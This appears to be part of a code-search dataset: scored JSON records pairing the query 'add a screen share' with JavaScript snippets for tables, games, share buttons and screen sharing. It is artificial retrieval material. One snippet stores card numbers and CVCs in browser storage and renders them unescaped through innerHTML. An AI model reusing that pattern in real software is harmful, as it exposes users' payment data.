\t\tumbrellasElement.innerHTML = htmlArray;\n}", "title": "" }, { "docid": "409b0848e3cc8bc20f3ad6bdd9bf2588", "score": "0.56565285", "text": "function dibujarLetrota(){\n //Limpiamos las areas para volver a dibujar\n Letra.clearRect(0,0,200,200);\n idLetrota = numeroAleatoreo();\n idLetrita = numeroAleatoreo();\n if(idLetrota === 0){ //Dibuja una S grande\n crearLetraH();\n }\n if(idLetrota === 1){ //Dibuja una H grande\n crearLetraS();\n }\n}", "title": "" }, { "docid": "cc240d03f29974984bdf00ad08bfe1b8", "score": "0.5655276", "text": "remplirTableau() {\r\n document.getElementById(\"tableau\").innerHTML = \"\";\r\n console.log(\"rempli\");\r\n var html = \"\";\r\n var nbImages = 1;\r\n for (let i = 0; i < 8; i++) {\r\n html+=\"<tr>\";\r\n for (let j = 0; j < 8; j++) {\r\n html+=\"<td ><img onclick='jouer(this)' id='\"+nbImages+\"' height='50' width='50' src='assets/gem\"+(Math.floor(Math.random() * 8) +1)+\".png'></img></td>\";\r\n nbImages++;\r\n }\r\n html+=\"</tr>\"\r\n }\r\n\r\n document.getElementById(\"tableau\").innerHTML = html;\r\n var images = document.getElementsByTagName(\"img\");\r\n for (let i = 0; i < images.length; i++) {\r\n if (this.possibilite(images[i]) || this.possibiliteVert(images[i])){\r\n this.remplirTableau();\r\n }\r\n }\r\n }", "title": "" }, { "docid": "449a60d52b054f9176b46b4d934ec4c9", "score": "0.56530154", "text": "function muestraHudMochila() {\n $($('.lista-objetos')[0]).html('<h4>Mochila</h4><div><img id=\"objeto1\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 1\" width=\"100\" height=\"100\"><img id=\"objeto2\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 2\" width=\"100\" height=\"100\"><img id=\"objeto3\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 3\" width=\"100\" height=\"100\"></div><div><img id=\"objeto4\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 4\" width=\"100\" height=\"100\"><img id=\"objeto5\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 5\" width=\"100\" height=\"100\"><img id=\"objeto6\" src=\"./media/images/objeto_vacio.png\" alt=\"objeto 6\" width=\"100\" height=\"100\"></div></div>');\n}", "title": "" }, { "docid": "19f3974ccfb564278ee1a23ad3721a0b", "score": "0.56519043", "text": "function contenidoLayout () {\r\n\tvar dato_objeto = JSON.parse(llamarAjax($(\"#buscador\").serialize(),'php/juegosMasPopulares.php'));\r\n\tvar contenedor = $('#layout div');\r\n\tfor (var i = 0; i < dato_objeto.length; i++) {\r\n\t\tvar div = '<h3>'+ dato_objeto[i].NOMBRE + '</h3>';\r\n\t\tdiv +='<div id=\"' + dato_objeto[i].IDJUEGO + '\">';\r\n div += '<p>'+textoCortado(dato_objeto[i].DESCRIPCION)+'<span class=\"leerMas\" id=\"'+dato_objeto[i].IDJUEGO+'\" onclick=cargarDiv(\"#principal\",\"html/juegos.html\");verJuego(event);cambiarFondo(\"menu_juegos\");>Leer más</span></p></div>';\r\n contenedor.append(div);\r\n\t}\r\n\tvar iconos = {\r\n\t \theader: \"ui-icon-circle-arrow-e\",\r\n\t activeHeader: \"ui-icon-circle-arrow-s\"\r\n\t };\r\n\t // Uso de la librería Jquery para efecto acordeon\r\n\tcontenedor.accordion({\r\n\t icons: iconos,\r\n\t\tcollapsible: true,\r\n\t\tanimate: 'swing',\r\n\t\theightStyle: \"content\",\r\n\t\tclasses: {\r\n\t\t\t\r\n\t\t}\r\n\t});\r\n}", "title": "" }, { "docid": "2d10f7914fb8a3db2a909374f5d10b2e", "score": "0.5648466", "text": "function calcular() {\n// Antes de calcular, checar se campos estao preenchidos\n if (!checar_campos()) {\n// if (false) {\n return;\n }\n else{\n document.getElementById('planilha').style.display='block';\n if (document.getElementById('dadosgerais-row')!=null) {\n document.getElementById('dadosgerais-row').remove()\n }\n dadosgerais()\n t=document.getElementsByClassName(\"militares-row\");\n calc_ind('financeiro')\n calc_ind('diarias')\n// TODO: Calcular soma diarias\n calc_ind('ajudadecusto')\n// TODO: Calcular soma ajuda de custo\n//Aparecer/desaparecer div diarias\n if (parseFloat(document.getElementById('qtde_diarias').value)==0) {\n document.getElementById('diarias_div').style.display='none';\n }\n else {\n document.getElementById('diarias_div').style.display='block';\n }\n\n//Aparecer/desaparecer div ajuda de custo\n if (parseInt(document.getElementById('ajudadecusto_ida').value)==0 && parseInt(document.getElementById('ajudadecusto_volta').value)==0) {\n document.getElementById('ajudadecusto_div').style.display='none';\n }\n else {\n document.getElementById('ajudadecusto_div').style.display='block';\n }\n }\n\n}", "title": "" }, { "docid": "9ec6872913eac8ae56f43d75550468ec", "score": "0.5642322", "text": "function inicializarTableroHTML() {\n let filas, casillasDeLaFila;\n\n filas = document.querySelectorAll(\"tr\");\n for (let i = 0, finI = filas.length; i < finI; i++) {\n casillasDeLaFila = filas[i].querySelectorAll(\"td\");\n miPartida.tableroHTML.push(casillasDeLaFila);\n }\n}", "title": "" }, { "docid": "06abd07cf00540a3c3b5d672d5d181b9", "score": "0.5635741", "text": "function desplegar() {\n\n\tvar active = capDb.result;\n\tvar dato = active.transaction([\"fly\"], \"readonly\");\n\tvar objeto = dato.objectStore(\"fly\");\n\t\n\tvar elementos = [];\n\t\n\tobjeto.openCursor().onsuccess = function (e) {\n\t\n\t\tvar result = e.target.result;\n\t\t\n\t\tif (result === null) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\telementos.push(result.value); //va agregado cada objeto a la matriz\n\t\tresult.continue();\n\t\t\n\t};\n\t\n\tdato.oncomplete = function () {\n\t\n\tvar outerHTML = '';\n\t\n\tfor (var key in elementos) {\n\t\n\t\touterHTML += '\\n\\\n\t\t<tr>\\n\\\n\t\t<td>' + elementos[key].id + '</td>\\n\\\n\t\t<td>' + elementos[key].viaje + '</td>\\n\\\n\t\t<td>' + elementos[key].precio + '</td>\\n\\\n\t\t<td>' + elementos[key].tipo + '</td>\\n\\\n\t\t<td>' + elementos[key].salida + '</td>\\n\\\n\t\t<td>' + elementos[key].regreso + '</td>\\n\\\n\t\t<td>' + elementos[key].nombre+ '</td>\\n\\\n\t\t<td>' + elementos[key].apelido+ '</td>\\n\\\n\t\t<td>' + elementos[key].genero + '</td>\\n\\\n\t\t<td>' + elementos[key].birth + '</td>\\n\\\n\t\t<td>' + elementos[key].telefono + '</td>\\n\\\n\t\t<td>' + elementos[key].email + '</td>\\n\\\n\t\t<td>' + elementos[key].seats+ '</td>\\n\\\n\t\t<td>' + elementos[key].no_tarjeta + '</td>\\n\\\n\t\t<td>' + elementos[key].cvc + '</td>\\n\\\n\t\t<td>' + elementos[key].expiracion + '</td>\\n\\\n\t\t<td>' + elementos[key].nombre_de_la_tarjeta +'</td>\\n\\\n\t\t<td>' + elementos[key].pais + '</td>\\n\\\n\t\t<td>' + elementos[key].direccion + '</td>\\n\\\n\t\t<td>' + elementos[key].estado + '</td>\\n\\\n\t\t<td>' + elementos[key].codigo_postal + '</td>\\n\\\n\t\t</tr>';\n\t\n\t}\n\t\n\telementos = [];\n\tdocument.querySelector(\"#Lista\").innerHTML = outerHTML;\n\t\n\t};\n\n}", "title": "" }, { "docid": "cfa50f4c74c99546ad154e341cd5d8b0", "score": "0.56356674", "text": "function respoTd() {\n var beginNum = 4;\n var endNum = 8;\n if (window.innerWidth < 640) {\n $('.graph__row').each(function () {\n for (var i = 0; i < beginNum; i++) {\n $(this).find('.graph__td').eq(i).show()\n }\n for (var i = beginNum; i < endNum; i++) {\n $(this).find('.graph__td').eq(i).hide()\n }\n\n });\n $('.graph__head').each(function () {\n for (var i = 0; i < beginNum; i++) {\n $(this).find('.graph__th').eq(i).show()\n }\n\n for (var i = beginNum; i < endNum; i++) {\n $(this).find('.graph__th').eq(i).hide()\n }\n });\n }\n else {\n $('.graph__row').each(function () {\n for (var i = beginNum; i < endNum; i++) {\n $(this).find('.graph__td').eq(i).show()\n }\n\n });\n $('.graph__head').each(function () {\n for (var i = beginNum; i < endNum; i++) {\n $(this).find('.graph__th').eq(i).show()\n }\n });\n }\n }", "title": "" }, { "docid": "b709fbc0fb173bd5d3916b5015edbbfd", "score": "0.56275576", "text": "function genera_tabla(nombre) {\r\n // Obtener la referencia del elemento body\r\n var celdas = 1;\r\n var body = document.getElementById('tablas');\r\n var div = document.createElement('div');\r\n var nombrePersona = document.createElement(\"p\");\r\n nombrePersona.innerHTML = nombre;\r\n nombrePersona.setAttribute('id', 'nombrePersona');\r\n var bingo = new Array();\r\n bingo.push(\"B\");\r\n bingo.push(\"I\");\r\n bingo.push(\"N\");\r\n bingo.push(\"G\");\r\n bingo.push(\"O\");\r\n // Crea un elemento <table> y un elemento <tbody>\r\n var tabla = document.createElement(\"table\");\r\n var tblBody = document.createElement(\"tbody\");\r\n // Crea las celdas\r\n for (var i = 0; i < 6; i++) {\r\n // Crea las hileras de la tabla\r\n var hilera = document.createElement(\"tr\");\r\n for (var j = 0; j < 5; j++) {\r\n // Crea un elemento <td> y un nodo de texto, haz que el nodo de\r\n // texto sea el contenido de <td>, ubica el elemento <td> al final\r\n // de la hilera de la tabla\r\n var celda = document.createElement(\"td\");\r\n if (i == 0) {\r\n var textoCelda = document.createTextNode(bingo[j]);\r\n celda.setAttribute(\"class\", \"bingo\");\r\n } else {\r\n var numero = generarNumero(1, 90);\r\n jugador.push(numero);\r\n var textoCelda = document.createTextNode(numero.toString());\r\n celda.setAttribute(\"id\", \"celda\"+celdas);\r\n celdas++;\r\n };\r\n celda.appendChild(textoCelda);\r\n hilera.appendChild(celda);\r\n };\r\n // agrega la hilera al final de la tabla (al final del elemento tblbody)\r\n tblBody.appendChild(hilera);\r\n };\r\n // posiciona el <tbody> debajo del elemento <table>\r\n tabla.appendChild(tblBody);\r\n // appends <table> into <body>\r\n div.appendChild(nombrePersona);\r\n div.appendChild(tabla);\r\n\r\n body.appendChild(div);\r\n /*aqui se agrega el valor del jugador al arreglo de jugadores*/\r\n variosJugadores.push(jugador);\r\n jugador = [];\r\n guardado = [];\r\n // modifica el atributo \"border\" de la tabla y lo fija a \"2\";\r\n $(\".bingo\").css(\"background-color\",\"skyblue\");\r\n div.setAttribute('class', 'col-md-6 text-center');\r\n div.setAttribute('id', 'divTablas');\r\n tabla.setAttribute(\"class\", \"tablas\");\r\n }", "title": "" }, { "docid": "60e979a25bdbdb056f6db9836c0dcceb", "score": "0.56197387", "text": "function luoParitilasto(sahlyOliot, paritilasto){\n\n\tvar partil = '<table id=\"paritilastoToveriTable\" class=\"stripe\" width=\"40%\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\"> ';\n\n\tpartil += \"<thead><tr><th>Pari</th><th>Voitot</th><th>Tasapelit</th><th>Tappiot</th><th>Pelejä yhteensä</th><th>Voittoprosentti [%]</th></tr></thead>\";\n\n\tpartil +=\"<tbody>\";\n\n\tvar palInd = 0;\n\t// Tulostetaan paritilasto\t\n\tfor(var i=0; i<paritilasto.length; i++){\n\t\t\n\t\tpartil += \"<tr><td>\" + paritilasto[i][0] +\"</td>\";\n\t\tpartil += \"<td align='center'>\" + paritilasto[i][1] + \"</td>\";\n\t\tpartil += \"<td align='center'>\" + paritilasto[i][2] + \"</td>\";\n\t\tpartil += \"<td align='center'>\" + paritilasto[i][3] + \"</td>\";\n\t\tpartil += \"<td align='center'><b>\" + paritilasto[i][4] + \"</b></td>\";\n\t\tpartil += \"<td align='center'>\" + paritilasto[i][5] + \"</td>\";\n\n\t\tpartil += \"</tr>\";\n\t}\n\tpartil +=\"</tbody></table>\";\n\n\t$(\"#paritilastoToveritKaikkiTaulukkoId\").empty();\n\t$(\"#paritilastoToveritKaikkiTaulukkoId\").append(partil);\n\n\t$(\"#paritilastoToveriTable\").dataTable({\n\t\t\"autoWidth\": false,\n\t\t\"order\": [[ 1, \"desc\" ]]\n\t});\n\n}", "title": "" }, { "docid": "cce2e489d81e85824b323559ba520d05", "score": "0.56126046", "text": "function selectorDeTipoDeJuego(){\n document.getElementById(\"marcador\").style.display=\"none\";\n document.getElementById(\"v\").style.display=\"none\";\n document.getElementById(\"r\").style.display=\"none\";\n var fila1=document.createElement(\"div\");\n var fila2=document.createElement(\"div\");\n fila1.setAttribute(\"class\",\"row\");\n fila2.setAttribute(\"class\",\"row\");\n var tatetivs=document.createElement(\"input\");\n var tatetiia=document.createElement(\"input\");\n tatetivs.value=\"Jugar contra persona.\";\n tatetiia.value=\"Jugar contra contra la maquina.\";\n tatetivs.textContent=\"Jugar contra persona.\";\n tatetiia.textContent=\"Jugar contra contra la maquina.\";\n tatetivs.onclick=dibujarTablero;\n tatetiia.onclick=dibujarTablero;\n tatetivs.setAttribute(\"id\",\"botonVS\");\n tatetiia.setAttribute(\"id\",\"botonIA\");\n tatetivs.setAttribute(\"class\",\"btn btn-primary btn-lg btn-block\");\n tatetiia.setAttribute(\"class\",\"btn btn-primary btn-lg btn-block\");\n fila1.appendChild(tatetivs);\n fila2.appendChild(tatetiia);\n document.getElementById(\"selectorDeTipoDeJuego\").appendChild(fila1);\n document.getElementById(\"selectorDeTipoDeJuego\").appendChild(fila2);\n}", "title": "" }, { "docid": "42f1b462dd29ece2d87940042fbd4654", "score": "0.56122434", "text": "function ParDeBarreiras(altura, abertura, x) {\n // recebe novo elemento que é uma div, que tem a classe par-de-barreiras\n this.elemento = novoElemento('div', 'par-de-barreiras')\n\n this.superior = new Barreira(true)\n this.inferior = new Barreira(false)\n\n // adcionando esses elementos na div par de barreiras\n this.elemento.appendChild(this.superior.elemento)\n this.elemento.appendChild(this.inferior.elemento)\n\n // this.alguma coisa dentro de uma função construtora, aquele atributo para a ser visivel fora da função\n\n this.sortearAbertura = () => {\n const alturaSuperior = Math.random() * (altura - abertura)\n const alturaInferior = altura - abertura - alturaSuperior\n this.superior.setAltura(alturaSuperior)\n this.inferior.setAltura(alturaInferior)\n \n }\n\n // em que posicao o par de barreiras está\n // pegando a posição atual\n this.getX = () => parseInt(this.elemento.style.left.split('px')[0])\n // alterando o x a partir do x que foi passado\n this.setX = x => this.elemento.style.left = `${x}px`\n // largura do meu elemento\n this.getLargura = () => this.elemento.clientWidth\n\n this.sortearAbertura()\n this.setX(x)\n}", "title": "" }, { "docid": "e65a5a81f6db34adbcde76b5ced71b1c", "score": "0.56076986", "text": "function cargarTablero(){\n let posX = inicX;\n let posY = inicY;\n let ancho = tabWidth;\n let alto = tabHeight;\n let color = tabFill;\n for (let i = 0; i < dimY ; i++){\n matrizJuego[i]=[];\n for(let j = 0; j < dimX; j++){\n let rect = new Rect(posX,posY,color,ctx,ancho,alto);\n let dir = \"image/FichaNegra.png\"\n let circ = new Ficha(posX+(ancho/2),posY+(alto/2),fillCirc,(ancho/2)-10,ctx,dir);\n //guardo el estado de casillero, arranca en blanco\n let compuesto = new FigCompuesta(rect,circ);\n matrizJuego[i][j] = compuesto;\n posX+=ancho;\n }\n posX = inicX;\n posY+=alto;\n }\n }", "title": "" } ]
d6dd248b9105813cec66ae1629d5a454
add a screen share
[ { "docid": "543cafd878a9026dd20f0d723db3ee65", "score": "0.0", "text": "async function addScreen() {\n start(await navigator.mediaDevices.getDisplayMedia({\n audio: false,\n video: { width: 1024, height: 1024, frameRate },\n }));\n}", "title": "" } ]
[ { "docid": "106d9e356bc4b5d3b74d187328be88c0", "score": "0.75784886", "text": "function publishScreenShare() {\n\t// --- 9.1) To create a publisherScreen it is very important that the property 'videoSource' is set to 'screen'\n\tvar publisherScreen = OVScreen.initPublisher(\"container-screens\", { videoSource: \"screen\" });\n\n\t// --- 9.2) If the user grants access to the screen share function, publish the screen stream\n\tpublisherScreen.once('accessAllowed', (event) => {\n\t\tdocument.getElementById('buttonScreenShare').style.visibility = 'hidden';\n\t\tscreensharing = true;\n\t\t// It is very important to define what to do when the stream ends.\n\t\tpublisherScreen.stream.getMediaStream().getVideoTracks()[0].addEventListener('ended', () => {\n\t\t\tconsole.log('User pressed the \"Stop sharing\" button');\n\t\t\tsessionScreen.unpublish(publisherScreen);\n\t\t\tdocument.getElementById('buttonScreenShare').style.visibility = 'visible';\n\t\t\tscreensharing = false;\n\t\t});\n\t\tsessionScreen.publish(publisherScreen);\n\t});\n\n\tpublisherScreen.on('videoElementCreated', function (event) {\n\t\tappendUserData(event.element, sessionScreen.connection);\n\t\tevent.element['muted'] = true;\n\t});\n\n\tpublisherScreen.once('accessDenied', (event) => {\n\t\tconsole.error('Screen Share: Access Denied');\n\t});\n}", "title": "" }, { "docid": "cb43dff7463575a2a2687cf27b64440c", "score": "0.7254117", "text": "shareScreen() {\n const gdmOptions = {\n video: {\n cursor: \"always\"\n },\n audio: false\n };\n navigator.mediaDevices[\"getDisplayMedia\"](gdmOptions).then((stream) => {\n stream.getVideoTracks().forEach((t) => {\n this.rtc.localStreams[0].addTrack(t);\n this.rtc.addTrackToPeers(t);\n });\n this.addLocalVideo(stream, false);\n }).catch(err => {\n AppDomain_1.AppDomain.logger.error(\"shareScreen\", err);\n });\n }", "title": "" }, { "docid": "05f0d6a6cfe3f77764717fcfe5e09874", "score": "0.70056117", "text": "function onEntrySharePressed($entry) {\n // TODO implementation\n }", "title": "" }, { "docid": "7559ae6fedacbabc8c12c742d9a244bb", "score": "0.6988714", "text": "function sipShareScreen() {\n if (SIPml.getWebRtcType() === 'w4a') {\n // Sharing using BFCP -> requires an active session\n if (!oSipSessionCall) {\n txtCallStatus.innerHTML = '<i>No active session</i>';\n return;\n }\n if (oSipSessionCall.bfcpSharing) {\n if (oSipSessionCall.stopBfcpShare(oConfigCall) != 0) {\n txtCallStatus.value = 'Failed to stop BFCP share';\n }\n else {\n oSipSessionCall.bfcpSharing = false;\n }\n }\n else {\n oConfigCall.screencast_window_id = 0x00000000;\n if (oSipSessionCall.startBfcpShare(oConfigCall) != 0) {\n txtCallStatus.value = 'Failed to start BFCP share';\n }\n else {\n oSipSessionCall.bfcpSharing = true;\n }\n }\n }\n else {\n sipCall('call-screenshare');\n }\n}", "title": "" }, { "docid": "35c8c75c02d7be7b3aa3252f76dfe623", "score": "0.665418", "text": "function aa_share( name, message, link, picture ) {\n\n // 1. Check the environment for the sharing modal\n\n // 2. If user is authenticated, then we can use the friend selector\n\n}", "title": "" }, { "docid": "52f2246a92bbd47a650f1c4238b6bd87", "score": "0.6538367", "text": "_handleShowShareScreen() {\n // token props object\n const { token } = this.props.token;\n\n Share.share({\n message: 'Hey, take a look at the '+ token.token_name\n +' project on Monico! Get the app at https://www.moni.co to check it out.',\n url: 'https://www.moni.co/token/detail/' + token.token_id,\n title: 'Check out the ' + token.token_name + ' Project on Monico!'\n }, {\n dialogTitle: 'Check out the ' + token.token_name + ' Project on Monico!'\n });\n }", "title": "" }, { "docid": "49e0b15885473c5f77fe516afdf99fc4", "score": "0.6518087", "text": "function share(action){\n\tvar loc = location.href\n\tloc = loc.substring(0, loc.lastIndexOf(\"/\") + 1);\n\tvar title = shareTitle.replace(\"[SCORE]\", playerData[0].gameScore);\n\tvar text = shareMessage.replace(\"[SCORE]\", playerData[0].gameScore);\n\tvar shareurl = '';\n\t\n\tif( action == 'twitter' ) {\n\t\tshareurl = 'https://twitter.com/intent/tweet?url='+loc+'&text='+text;\n\t}else if( action == 'facebook' ){\n\t\tshareurl = 'https://www.facebook.com/sharer/sharer.php?u='+encodeURIComponent(loc+'share.php?desc='+text+'&title='+title+'&url='+loc+'&thumb='+loc+'share.jpg&width=590&height=300');\n\t}else if( action == 'google' ){\n\t\tshareurl = 'https://plus.google.com/share?url='+loc;\n\t}\n\t\n\twindow.open(shareurl);\n}", "title": "" }, { "docid": "206f8324652b7b86aaecade5e1edaa2e", "score": "0.6510476", "text": "function share(action){\n\tvar loc = location.href\n\tloc = loc.substring(0, loc.lastIndexOf(\"/\") + 1);\n\t\n\tvar title = '';\n\tvar text = '';\n\t\n\ttitle = shareTitle.replace(\"[SCORE]\", playerData.score);\n\ttext = shareMessage.replace(\"[SCORE]\", playerData.score);\n\tvar shareurl = '';\n\t\n\tif( action == 'twitter' ) {\n\t\tshareurl = 'https://twitter.com/intent/tweet?url='+loc+'&text='+text;\n\t}else if( action == 'facebook' ){\n\t\tshareurl = 'https://www.facebook.com/sharer/sharer.php?u='+encodeURIComponent(loc+'share.php?desc='+text+'&title='+title+'&url='+loc+'&thumb='+loc+'share.jpg&width=590&height=300');\n\t}else if( action == 'google' ){\n\t\tshareurl = 'https://plus.google.com/share?url='+loc;\n\t}\n\t\n\twindow.open(shareurl);\n}", "title": "" }, { "docid": "f9bcaf34cb5b422f3d6b1c53c717a4e1", "score": "0.6503983", "text": "shareEvent() {\r\n shareItem(\r\n this.state.data.title,\r\n this.state.data.social_url,\r\n this.state.data.title\r\n );\r\n }", "title": "" }, { "docid": "ccb35949b5b0ee6714173a884a62d652", "score": "0.6474607", "text": "function activity_share(activityString) {\n\tsharedDocumentId = \"\"; // Action from a script, do not enable slide follow\n\tsession_set(\"open:\" + (authorid !== \"\" ? authorid : userid) + \"/\" + docid + \"_0\" + (typeof activityString == \"undefined\" ? \"\" : \":\" + activityString));\n}", "title": "" }, { "docid": "3b55d5d952c4695b481984c109bdaca8", "score": "0.6457155", "text": "function shareItem(){\r\n var current = getCurrentEntry();\r\n var currentEntry = current.getElementsByTagName(\"broadcast\")[0];\r\n simulateClick(currentEntry);\r\n }", "title": "" }, { "docid": "2916f4e7505830633885707f14cfda7c", "score": "0.6452833", "text": "function Share(site) {\n if (dojo.coords(\"divAppContainer\").h > 0) {\n dojo.replaceClass(\"divAppContainer\", \"hideContainerHeight\", \"showContainerHeight\");\n dojo.byId('divAppContainer').style.height = '0px';\n\t\t//CanAccess\n\t\tdocument.getElementById('imgShare').setAttribute(\"aria-expanded\",false);\n\t\tdocument.getElementById('imgFacebook').tabIndex=\"-1\";\n\t\tdocument.getElementById('imgTwitter').tabIndex=\"-1\";\n\t\tdocument.getElementById('imgMail').tabIndex=\"-1\";\n\t\tif (timeouts.share != null) {clearTimeout(timeouts.share); timeouts.share = null;}\n\t\ttimeouts.share = setTimeout(function() {\n\t\t\ttimeouts.share = null;\n\t\t\tdojo.byId('divAppContainer').style.display = 'none';\n\t\t},1000);\n }\n //CanMod: Modified to take in strings for post/status/subject in the config file\n if (tinyUrl) {\n\t\tvar ShareURL;\n switch (site) {\n case \"facebook\":\n\t\t\t\tShareURL = mapSharingOptions.FacebookShareURL + \"?\";\n\t\t\t\tShareURL += dojo.objectToQuery({u:tinyUrl});\n window.open(ShareURL);\n break;\n case \"twitter\":\n\t\t\t\tShareURL = mapSharingOptions.TwitterShareURL + \"?\";\n\t\t\t\tShareURL += dojo.objectToQuery({text:mapSharingOptions.TwitterText, url:tinyUrl, related:mapSharingOptions.TwitterFollow, hashtags:mapSharingOptions.TwitterHashtag});\n\t\t\t\twindow.open(ShareURL);\n break;\n case \"mail\":\n\t\t\t\tShareURL = \"mailto:%20?\"\n\t\t\t\tShareURL += dojo.objectToQuery({subject: mapSharingOptions.EmailSubject, body:tinyUrl});\n parent.location = ShareURL;\n break;\n }\n\t//End of CanMod\n } else {\n alert(messages.getElementsByTagName(\"tinyURLEngine\")[0].childNodes[0].nodeValue);\n return;\n }\n}", "title": "" }, { "docid": "867e794bee87f69ef369a9557338de67", "score": "0.6440503", "text": "function GPlusShare() { SocialShare.call(this, arguments); }", "title": "" }, { "docid": "3760a656f08ece0f4771c0cb52bc6dbc", "score": "0.64329475", "text": "function share(action) {\n\tvar loc = location.href\n\tloc = loc.substring(0, loc.lastIndexOf(\"/\") + 1);\n\tvar title = shareTitle.replace(\"[SCORE]\", playerData.score);\n\tvar text = shareMessage.replace(\"[SCORE]\", playerData.score);\n\tvar shareurl = '';\n\n\tif (action == 'twitter') {\n\t\tshareurl = 'https://twitter.com/intent/tweet?url=' + loc + '&text=' + text;\n\t} else if (action == 'facebook') {\n\t\tshareurl = 'https://www.facebook.com/sharer/sharer.php?u=' + encodeURIComponent(loc + 'share.php?desc=' + text + '&title=' + title + '&url=' + loc + '&thumb=' + loc + 'share.jpg&width=590&height=300');\n\t} else if (action == 'google') {\n\t\tshareurl = 'https://plus.google.com/share?url=' + loc;\n\t}\n\n\twindow.open(shareurl);\n}", "title": "" }, { "docid": "fbd5ad8b47d8ebcc5736b8d34104ea11", "score": "0.64017844", "text": "function waShare(post_title, pagepost) {\n var byname = '%0Aby Zi R. Lem, Screenwriter-Filmmaker%0A';\n window.location = 'whatsapp://send?text=' + post_title + '%0A' + location.href.replace(location.hash,\"\") + pagepost;\n}", "title": "" }, { "docid": "93e804486b9772dccf79e865b59140f9", "score": "0.63759184", "text": "function onClick () {\n var sharingSite = element.getAttribute('data-site');\n\n // Получить информацию про страницу\n var url = shareInfo.get('url');\n var title = shareInfo.get('title');\n var desc = shareInfo.get('description');\n var image = shareInfo.get('image');\n\n // Set different URLs for different sharing sites\n var sharingUrl = '';\n switch (sharingSite) {\n case 'vk':\n sharingUrl = 'https://vk.com/share.php?&title=' + title + '&description=' + desc + '&image=' + image + '&noparse=true&url=' + url;\n break;\n case 'twitter':\n sharingUrl = 'https://twitter.com/share?text=' + title + '&url=' + url;\n break;\n case 'facebook':\n sharingUrl = 'https://www.facebook.com/sharer/sharer.php?u=' + url;\n break;\n case 'odnoklassniki':\n sharingUrl = 'http://www.odnoklassniki.ru/dk?st.cmd=addShare&st.s=1&st._surl=' + url + '&st.comments=' + title + '';\n break;\n case 'mail.ru':\n sharingUrl = 'http://connect.mail.ru/share?url=' + url + '&title=' + title + '&description=' + desc + '&imageurl=' + image + '';\n break;\n case 'google+':\n sharingUrl = 'https://plus.google.com/share?url=' + url;\n break;\n case 'tumblr':\n sharingUrl = 'http://www.tumblr.com/share?v=3&t=' + title + '&u=' + url;\n break;\n case 'pinterest':\n sharingUrl = 'http://pinterest.com/pin/create/button/?media=' + image + '&description=' + desc + '&url=' + url;\n break;\n default:\n sharingUrl = sharingSite;\n }\n window.open(sharingUrl, '_blank', \"width=\" + 500 + \", height=\" + 500);\n }", "title": "" }, { "docid": "9d73e630584607a59ee1a0892c9b6f06", "score": "0.63564485", "text": "function share(title, content, url) {\n return $cordovaSocialSharing\n .share(title, content, null, url)\n .then(function(suc) {\n console.log(suc);\n }, function(err) {\n console.log(err);\n });\n }", "title": "" }, { "docid": "59257e0fd7434b2a3f66fbe5da460cf0", "score": "0.6337713", "text": "function compartirfb() {\n FB.ui(\n {\n method: 'share',\n href: 'https://developers.facebook.com/docs/'\n },\n //respuesta\n function (response) {\n if (response && !response.error_message) alert('Posting completed.'); else alert('Error while posting.');\n }\n )\n}", "title": "" }, { "docid": "739a3ed084b096382125307e741d2831", "score": "0.6331789", "text": "function addShareButton() {\n var a, span, cards, i, text, string, evt;\n\n span = document.getElementById('cards');\n a = span.parentNode.appendChild(document.createTextNode('[')).parentNode.appendChild(document.createElement('a'));\n span.parentNode.appendChild(document.createTextNode(']'));\n a.appendChild(document.createTextNode('share spoils'));\n span.style.paddingRight = '20px';\n a.style.color = 'purple';\n\n a.addEventListener('click', function () {\n cards = span.getElementsByTagName('span');\n text = 'Spoils:: ';\n for (i = 0; i < cards.length; i++) {\n switch (cards[i].className) {\n case 'card0': string = 'r:'; break;\n case 'card1': string = 'g:'; break;\n case 'card2': string = 'b:'; break;\n }\n if (cards[i].parentNode.tagName == 'B')\n string = string.toUpperCase();\n\n string += cards[i].textContent.replace(/[rgb]:/, '');\n text += string + '; ';\n }\n\n text = text.substr(0, text.length - 2);\n\n // Set message to a form\n document.getElementById('message').value = text;\n document.getElementById('team').checked = true;\n\n // Simulate a click value\n evt = document.createEvent('HTMLEvents');\n evt.initEvent('submit', true, true);\n if (document.forms[0].id == 'action-form')\n document.forms[1].dispatchEvent(evt);\n else\n document.forms[0].dispatchEvent(evt);\n\n return false;\n }, false);\n}", "title": "" }, { "docid": "4c1651766419f00011830bd24750308f", "score": "0.63306373", "text": "function share(e) {\n shareTitle = \"Find IFSC, MICR Code, Address of any Bank in India\\n\";\n shareUrl = window.location.href;\n try {\n t = document.getElementById('shareText').innerHTML;\n shareTitle += \"Here is your \" + t + \"\\n\";\n } catch (e) {\n console.log(\"Nothing to Share\");\n }\n\n if (navigator.share) {\n navigator.share({\n url: shareUrl,\n title: shareTitle,\n text: shareTitle\n }).then(function() {\n ga('send', 'event', 'share', 'success');\n }, function(error) {\n ga('send', 'event', 'share', 'error', error);\n });\n }\n\n}", "title": "" }, { "docid": "ec7930c046d14cd2f9c35b4ca91f5ba8", "score": "0.63010114", "text": "function sassyShare() {\n\t\tif (window.location.href.indexOf(\"success-stories\") != -1) {\n\t\t\t$(\".heateor_sss_horizontal_sharing\").css({\n\t\t\t\t'visibility': 'hidden'\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "5f6ead66b6e6b45d65a607ddb1a0ab97", "score": "0.62880886", "text": "function launchShareDialog(i,n,g,k) {\n var j = window.screenLeft ? window.screenLeft : window.screenX;\n var o = window.screenTop ? window.screenTop : window.screenY;\n var m = j + (window.innerWidth/2) - (g/2);\n var l = o + (window.innerHeight/2) - (k/2);\n\n return window.open(i,n,\"toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width=\" + g + \", height=\" + k + \", top=\" + l + \", left=\" + m)\n }", "title": "" }, { "docid": "b666b34c3778cdd322dd4ec867c46eb2", "score": "0.6273748", "text": "function Share(site) {\n if (dojo.coords(\"divAppContainer\").h > 0) {\n dojo.replaceClass(\"divAppContainer\", \"hideContainerHeight\", \"showContainerHeight\");\n dojo.byId('divAppContainer').style.height = '0px';\n }\n if (tinyUrl) {\n switch (site) {\n case \"facebook\":\n window.open(dojo.string.substitute(mapSharingOptions.FacebookShareURL, [tinyUrl]));\n break;\n case \"twitter\":\n 